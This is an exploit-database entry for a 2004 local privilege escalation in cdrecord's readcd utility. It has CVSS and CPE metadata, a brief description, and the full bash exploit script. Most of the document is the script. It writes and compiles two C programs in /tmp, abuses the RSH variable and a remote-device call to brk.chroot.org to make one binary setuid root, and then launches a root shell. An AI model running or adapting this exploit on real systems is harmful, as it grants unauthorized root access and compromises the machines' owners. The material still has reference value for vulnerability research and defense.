ReadCD local exploit

vendor:

cdrecord

by:

newbug [at] chroot.org

7.5

CVSS

HIGH

Local Privilege Escalation

264

CWE

Product Name: cdrecord

Affected Version From: cdrecord-2.01-0.a27.2mdk

Affected Version To: cdrecord-2.01-0.a27.2mdk

Patch Exists: NO

Related CWE:

CPE: a:cdrecord:cdrecord:2.01-0.a27.2mdk

Metasploit:

Other Scripts:

Platforms Tested:

2004

This exploit allows an attacker to escalate their privileges on a system using the ReadCD utility. It creates two C programs, s.c and ss.c, which are compiled and executed to gain root access. The exploit uses the setuid(0), setgid(0), chown, chmod, and execl functions to achieve this.

Mitigation:

To mitigate this vulnerability, it is recommended to update the ReadCD utility to a version that has patched this exploit.

Source

Exploit-DB raw data:

#!/bin/bash

echo "readcd-exp.sh -- ReadCD local exploit ( Test on cdrecord-2.01-0.a27.2mdk)"
echo "Author : newbug [at] chroot.org"
echo "Date :09.13.2004"
echo "IRC : irc.chroot.org #discuss"

export READCD=/usr/bin/readcd
cd /tmp

cat > s.c <<_EOF_
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>

int main()
{
setuid(0);setgid(0);
chown("/tmp/ss", 0, 0);
chmod("/tmp/ss", 04755);

return 0;
}

_EOF_

cat > ss.c <<_EOF_
#include <stdio.h>

int main()
{
setuid(0);setgid(0);
execl("/bin/bash","bash",(char *)0);

return 0;
}
_EOF_

gcc -o s s.c
gcc -o ss ss.c

export RSH=/tmp/s
$READCD dev=REMOTE:brk.chroot.org:1,0,1 1 >/dev/null 2>&1
/tmp/ss


// milw0rm.com [2004-09-19]